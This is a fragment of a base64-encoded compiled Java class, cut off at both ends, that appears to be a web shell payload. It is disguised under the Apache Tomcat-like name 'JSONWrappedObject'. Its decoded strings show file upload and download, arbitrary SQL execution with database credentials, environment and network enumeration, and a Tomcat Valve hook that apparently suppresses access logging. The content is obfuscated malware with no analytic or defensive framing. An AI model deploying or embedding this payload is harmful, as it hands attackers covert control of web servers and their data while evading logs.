Ub051bGwmbm9EYXRldGltZVN0cmluZ1N5bmM9dHJ1ZSZjaGFyYWN0ZXJFbmNvZGluZz11dGYtOAgD9QEABm9yYWNsZQgD9wEAEmpkYmM6b3JhY2xlOnRoaW46QAgD+QEABTpvcmNsCAP7AQAJc3Fsc2VydmVyCAP9AQARamRiYzpzcWxzZXJ2ZXI6Ly8IA/8BAApwb3N0Z3Jlc3FsCAQBAQASamRiYzpwb3N0Z3Jlc3FsOi8vCAQDAQAGc3FsaXRlCAQFAQAMamRiYzpzcWxpdGU6CAQHAQAFamRiYzoKAAEECQwECgQLAQANZ2V0Q29ubmVjdGlvbgEATShMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZztMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL0Nvbm5lY3Rpb247CgQNBAkHBA4BABZqYXZhL3NxbC9Ecml2ZXJNYW5hZ2VyCwQQBBIHBBEBABNqYXZhL3NxbC9Db25uZWN0aW9uDAQTBBQBAA9jcmVhdGVTdGF0ZW1lbnQBABYoKUxqYXZhL3NxbC9TdGF0ZW1lbnQ7CAQWAQAGc2VsZWN0CAQYAQADb2sKCwQaBBwHBBsBABJqYXZhL3NxbC9TdGF0ZW1lbnQMBB0EHgEADGV4ZWN1dGVRdWVyeQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvc3FsL1Jlc3VsdFNldDsLBCAEIgcEIQEAEmphdmEvc3FsL1Jlc3VsdFNldAwEIwQkAQALZ2V0TWV0YURhdGEBAB4oKUxqYXZhL3NxbC9SZXN1bHRTZXRNZXRhRGF0YTsLBCYEKAcEJwEAGmphdmEvc3FsL1Jlc3VsdFNldE1ldGFEYXRhDAQpANcBAA5nZXRDb2x1bW5Db3VudAgEKwEAAiVzCwQmBC0MBC4BtwEADWdldENvbHVtbk5hbWUKAAEEMAwEMQBDAQAMYmFzZTY0RW5jb2RlCwQgBDMMBDQBtwEACWdldFN0cmluZwsEIAQ2DAOOAYULBCAAoQsEGgChCwQQAKELBBoEOwwEPAImAQANZXhlY3V0ZVVwZGF0ZQgEPgEAClF1ZXJ5IE9LLCAKAW4EQAwBegRBAQAbKEkpTGphdmEvbGFuZy9TdHJpbmdCdWZmZXI7CARDAQAOIHJvd3MgYWZmZWN0ZWQIBEUBAANubyAIBEcBAAcgRGJ0eXBlCARJAQBITm8gcGFyYW1ldGVyIGRiVHlwZSxkYkhvc3QsZGJQb3J0LGRiVXNlcm5hbWUsZGJQYXNzd29yZCxleGVjVHlwZSxleGVjU3FsAQAHY2hhcnNldAEACmNvbm5lY3RVcmwBAAZkYkNvbm4BABVMamF2YS9zcWwvQ29ubmVjdGlvbjsBAAlzdGF0ZW1lbnQBABRMamF2YS9zcWwvU3RhdGVtZW50OwEACXJlc3VsdFNldAEAFExqYXZhL3NxbC9SZXN1bHRTZXQ7AQAIbWV0YURhdGEBABxMamF2YS9zcWwvUmVzdWx0U2V0TWV0YURhdGE7AQAJY29sdW1uTnVtAQALYWZmZWN0ZWROdW0IBFcBAAppbnZhbGlkYXRlAQANYmlnRmlsZVVwbG9hZAgEWgEADGZpbGVDb250ZW50cwgEXAEACHBvc2l0aW9uCgH2BF4MACYEXwEAFihMamF2YS9sYW5nL1N0cmluZztaKVYHBGEBABhqYXZhL2lvL1JhbmRvbUFjY2Vzc0ZpbGUIBGMBAAJydwoEYARlDAAmBGYBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9TdHJpbmc7KVYKBGAEaAwEaQGqAQAEc2VlawoEYAFQCgRgAKEBABpMamF2YS9pby9SYW5kb21BY2Nlc3NGaWxlOwEAD2JpZ0ZpbGVEb3dubG9hZAgEbwEABG1vZGUIBHEBAAtyZWFkQnl0ZU51bQgEcwEACGZpbGVTaXplCgB1BHUMAYwEdgEAFShKKUxqYXZhL2xhbmcvU3RyaW5nOwgA1goBtAR5DAGMBHoBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvSW50ZWdlcjsKAbQEfAwEfQDXAQAIaW50VmFsdWUKAosAZwoCiwSADASBBIIBAARza2lwAQAEKEopSgoAAQSEDASFBIYBAAZjb3B5T2YBAAcoW0JJKVtCCASIAQAHbm8gbW9kZQEAEXJlYWRCeXRlTnVtU3RyaW5nAQAOcG9zaXRpb25TdHJpbmcBAAhyZWFkRGF0YQoEjQSPBwSOAQAOamF2YS9sYW5nL01hdGgMBJAEkQEAA21pbgEABShJSSlJAQAIb3JpZ2luYWwBAAluZXdMZW5ndGgBAAthcnJheU9mQnl0ZQgElgEADGphdmEudmVyc2lvbgoAdQSYDASZBJoBAAlzdWJzdHJpbmcBABYoSUkpTGphdmEvbGFuZy9TdHJpbmc7CQABBJwMABoAEwgEngEAEGphdmEubGFuZy5TeXN0ZW0IBKABAAZnZXRlbnYJAAEEogwAGwATCASkAQANamF2YS51dGlsLk1hcAEACmpyZVZlcnNpb24JAAEEpwwAHAATCASpAQAWamF2YS5zcWwuRHJpdmVyTWFuYWdlcgoATQSrDASsBK0BABFnZXREZWNsYXJlZEZpZWxkcwEAHCgpW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsKBK8BkgcEsAEAF2phdmEvbGFuZy9yZWZsZWN0L0ZpZWxkCASyAQAGcml2ZXJzCQABBLQMAB0AEwgEtgEADmphdmEudXRpbC5MaXN0CgSvBLgMBLkASwEAB2dldFR5cGUKBLsEvQcEvAEAImphdmEvbGFuZy9yZWZsZWN0L0FjY2Vzc2libGVPYmplY3QMBL4EvwEADXNldEFjY2Vzc2libGUBAAQoWilWCgSvAHwHBMIBAA5qYXZhL3V0aWwvTGlzdAsEwQOHCQABBMUMAB4AEwgExwEAD2phdmEuc3FsLkRyaXZlcgcEyQEAD2phdmEvc3FsL0RyaXZlcgcEywEAFGphdmEvdXRpbC9Qcm9wZXJ0aWVzCgTKACgIBM4BAAR1c2VyCgMpALoIBNEBAAhwYXNzd29yZAsEyATTDATUBNUBAAdjb25uZWN0AQA/KExqYXZhL2xhbmcvU3RyaW5nO0xqYXZhL3V0aWwvUHJvcGVydGllczspTGphdmEvc3FsL0Nvbm5lY3Rpb247AQAIdXNlck5hbWUBAApjb25uZWN0aW9uAQAGZmllbGRzAQAaW0xqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAVmaWVsZAEAGUxqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZDsBAAdkcml2ZXJzAQAQTGphdmEvdXRpbC9MaXN0OwEABmRyaXZlcgEAEUxqYXZhL3NxbC9Ecml2ZXI7AQALZHJpdmVySW5mb3MBAApwcm9wZXJ0aWVzAQAWTGphdmEvdXRpbC9Qcm9wZXJ0aWVzOwoE5ATmBwTlAQAZamF2YS9uZXQvTmV0d29ya0ludGVyZmFjZQwE5wMtAQAUZ2V0TmV0d29ya0ludGVyZmFjZXMKBOQE6QwE6gMtAQAQZ2V0SW5ldEFkZHJlc3NlcwcE7AEAFGphdmEvbmV0L0luZXRBZGRyZXNzCgTrBO4MBO8AZQEADmdldEhvc3RBZGRyZXNzCwTBAvELBMEE8gwDAQTzAQAVKClbTGphdmEvbGFuZy9PYmplY3Q7CgJBBPUMAIgE9gEAJyhbTGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvU3RyaW5nOwEABmlwTGlzdAEAEW5ldHdvcmtJbnRlcmZhY2VzAQAQbmV0d29ya0ludGVyZmFjZQEAG0xqYXZhL25ldC9OZXR3b3JrSW50ZXJmYWNlOwEADWluZXRBZGRyZXNzZXMBAAtpbmV0QWRkcmVzcwEAFkxqYXZhL25ldC9JbmV0QWRkcmVzczsBAAJpcAgDUwgFAQEAG25vIG1ldGhvZCBnZXRSZWFsUGF0aE1ldGhvZAgFAwEAFnNlcnZsZXRDb250ZXh0IGlzIE51bGwBABFnZXRSZWFsUGF0aE1ldGhvZAEACXJldE9iamVjdAoBcQUHDAUIAYUBAAZkZWxldGUBAAFmAQABeAEAAmZzAQBLKExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nO1tMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwUOAQASW0xqYXZhL2xhbmcvQ2xhc3M7AQATW0xqYXZhL2xhbmcvT2JqZWN0OwEAB2NsYXNzZXMBAAJvMQEADnBhcmFtZXRlckNsYXNzCgBNBRQMBRUAUQEAEWdldERlY2xhcmVkTWV0aG9kCgBNBRcMBRgASwEADWdldFN1cGVyY2xhc3MBAA1nZXRGaWVsZFZhbHVlAQA4KExqYXZhL2xhbmcvT2JqZWN0O0xqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL09iamVjdDsKAE0FHAwFHQUeAQAQZ2V0RGVjbGFyZWRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwEACWZpZWxkTmFtZQgFIQEAB2NvbnRleHQKAAEFIwwFGQUaCAUlAQAJZ2V0UGFyZW50CgABBScMAG8FDAgFKQEAC2dldFBpcGVsaW5lCAUrAQAIZ2V0Rmlyc3QIBS0BAAxnZXRDb25kaXRpb24IBS8BAAxzZXRDb25kaXRpb24IBTEBAAdGdWNrTG9nCAUzAQAHZ2V0TmV4dAgFNQEAGW9yZy5hcGFjaGUuY2F0YWxpbmEuVmFsdmUKAE0FNwwAXAU4AQA9KExqYXZhL2xhbmcvU3RyaW5nO1pMamF2YS9sYW5nL0NsYXNzTG9hZGVyOylMamF2YS9sYW5nL0NsYXNzOwEAEmFwcGxpY2F0aW9uQ29udGV4dAEACWNvbnRhaW5lcgEACWFycmF5TGlzdAEACHBpcGVsaW5lAQAFdmFsdmUBAAljb25kaXRpb24BABJzZXRBdHRyaWJ1dGVNZXRob2QBAARuYW1lAQAFYnl0ZXMKAAEFQwwEMQVEAQAWKFtCKUxqYXZhL2xhbmcvU3RyaW5nOwEAA3NyYwEAA29mZgEAA2VuZAEAA2RzdAEAB2xpbmVtYXgBAAlkb1BhZGRpbmcBAAZiYXNlNjQBAAJzcAEABHNsZW4BAAJzbAEAAmRwAQADc2wwAQADc3AwAQADZHAwAQAEYml0cwEABGRsZW4BAAJiMAEAAmIxAQAMYmFzZTY0RGVjb2RlCgJBBVkMAkQFWgEABihbSUkpVgcFXAEAImphdmEvbGFuZy9JbGxlZ2FsQXJndW1lbnRFeGNlcHRpb24IBV4BAC1JbnB1dCBieXRlIGFycmF5IGhhcyB3cm9uZyA0LWJ5dGUgZW5kaW5nIHVuaXQKBVsAZwgFYQEAKUxhc3QgdW5pdCBkb2VzIG5vdCBoYXZlIGVub3VnaCB2YWxpZCBiaXRzAQAJYmFzZTY0U3RyAQAIcGFkZGluZ3MBAAJbSQEAB3NoaWZ0dG8BAApTb3VyY2VGaWxlAQAMcGF5bG9hZC5qYXZhAQAob3JnL2FwYWNoZS9jb3lvdGUvdXRpbC9KU09OV3JhcHBlZE9iamVjdAEAKkxvcmcvYXBhY2hlL2NveW90ZS91dGlsL0pTT05XcmFwcGVkT2JqZWN0OwAhAAEAAwAAABMAGQAFAAYAAAAAAAcACAAAAAAACQAIAAAAAAAKAAsAAAAAAAwACwAAAAAADQALAAAAAAAOAA8AAAAAABAAEQAAAAgAEgATAAEAFAAAAAAACAAVABMAAQAUAAAAAAAIABYAEwABABQAAAA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